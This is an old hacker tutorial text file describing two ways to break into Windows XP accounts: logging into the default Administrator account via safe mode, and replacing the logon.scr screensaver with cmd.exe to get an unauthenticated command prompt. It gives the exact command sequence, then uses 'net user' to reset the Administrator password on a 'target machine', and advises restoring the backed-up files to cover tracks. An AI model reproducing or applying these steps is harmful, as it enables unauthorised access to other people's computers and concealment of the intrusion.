the easy way by Estyle, Jaoibhand Azrael.This hack will only work if the person that owns the machinehas no intelligence. This is how it works:When you or anyone installs Windows XP for the first time yourasked to put in your username and up to five others.Now, unknownst to a lot of other people this is the only place inWindows XP that you can password the default Administrator DiagnosticAccount. This means that to by pass most administrators accountson Windows XP all you have to do is boot to safe mode by pressing F8during boot up and choosing it. Log into the Administrator Accountand create your own or change the password on the current Account.This only works if the user on setup specified a password for theAdministrator Account.This has worked for me on both Windows XP Home and Pro.-----------------------------------------------------------------------------Now this one seems to be machine dependant, it works randomly(don't know why)If you log into a limited account on your target machine and open up a dos promptthen enter this set of commands Exactly:(this appeared on www.astalavista.com a few days ago but i found that it wouldn't workon the welcome screen of a normal booted machine)-----------------------------------------------------------------------------cd\ *drops to rootcd\windows\system32 *directs to the system32 dirmkdir temphack *creates the folder temphackcopy logon.scr temphack\logon.scr *backsup logon.scrcopy cmd.exe temphack\cmd.exe *backsup cmd.exedel logon.scr *deletes original logon.scrrename cmd.exe logon.scr *renames cmd.exe to logon.screxit *quits dos-----------------------------------------------------------------------------Now what you have just done is told the computer to backup the command programand the screen saver file, then edits the settings so when the machine boots thescreen saver you will get an unprotected dos prompt with out logging into XP.Once this happens if you enter this command minus the quotes"net user password"If the Administrator Account is called Frank and you want the password blah enter this"net user Frank blah"and this changes the password on franks machine to blah and your in.Have funp.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracksAny updates, Errors, Suggestions or just general comments mail them to either